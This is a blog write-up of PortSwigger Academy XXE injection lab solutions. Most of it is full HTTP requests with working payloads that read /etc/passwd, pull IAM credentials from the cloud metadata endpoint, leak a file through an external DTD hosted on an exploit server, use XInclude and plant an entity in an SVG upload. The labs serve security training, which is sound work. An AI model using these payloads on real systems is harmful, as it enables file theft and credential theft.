PortSwigger Academy - XML External Entity (XXE) Injection Labs
- Avraham Cohen
- Jul 1, 2021
- 3 min read
Updated: Oct 26, 2021
Studying for my eLearnSecurity eWPTX exam I decided to solve the XML External Entity (XXE) Injection labs from PortSwigger Academy. I must say that these labs are not easy and you can gain a lot of knowledge. Don't jump to the solution, try for yourself, if you are not able to get it in few hours then reverse engineer the payload.
Here is a list of the labs from Apprentice to Practitioner level:
You can find the lab list at the following link
Research: Intercept the Check Stock functionality and observe an XML is sent to the server.
Payload:
POST /product/stock HTTP/1.1
Host: <Lab-ID>.web-security-academy.net
Cookie: session=IhuqjsyYAUp3T7FSXM0ciI6fIW458BTq
Content-Length: 175
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://<Lab-ID>.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<Lab-ID>.web-security-academy.net/product?productId=3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>2</storeId></stockCheck>
Research: Following the previous lab, it is the same exploitation technique but at this time we need to crawl the API. The response contains a hint to the full URL but in real world scenarios one should script this functionality.
Payload:
POST /product/stock HTTP/1.1
Host: <Lab-ID>.web-security-academy.net
Cookie: session=27DmeMnWOkFqOtmipiWZyGtg22F6mY6Y
Content-Length: 227
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://<Lab-ID>.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<Lab-ID>.web-security-academy.net/product?productId=3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>2</storeId></stockCheck>
Requirements: Burp Collaborator
This lesson was mostly going through the solution and take notes.
Research: Following the previous lab, it is the same exploitation technique but at this time we need to find a way to exfiltrate the data. We can inject an error-based technique to a separate DTD and trigger an error with the file content.
Payload:
On the exploit-server save a new DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
From BurpSuite submit the below:
POST /product/stock HTTP/1.1
Host: aca61f721eea301b800710970023006d.web-security-academy.net
Cookie: session=KJnvndEyRsKNHoGoCXKaQ8NiPAjyGa5a
Content-Length: 238
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: https://<Lab-ID>.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<Lab-ID>.web-security-academy.net/product?productId=4
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://<Lab-ID>.web-security-academy.net/exploit"> %xxe;]>
<stockCheck>
<productId>
4</productId><storeId>1</storeId>
</stockCheck>
Research: As I am not familiar with XInclude attack quick Google search results with https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md#xinclude-attacks
Payload:
POST /product/stock HTTP/1.1
Host: <Lab-ID>.web-security-academy.net
Cookie: session=3IBS7Zga5LmyL2pKjAXuEz4HpOR37MiI
Content-Length: 126
Sec-Ch-Ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://<Lab-ID>.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<Lab-ID>.web-security-academy.net/product?productId=4
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=2
Research:
Interestingly enough when I tried to inject a malicious SVG file I received the below error.

Then I decided to create a local SVG file with the same content.
Payload:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
Comments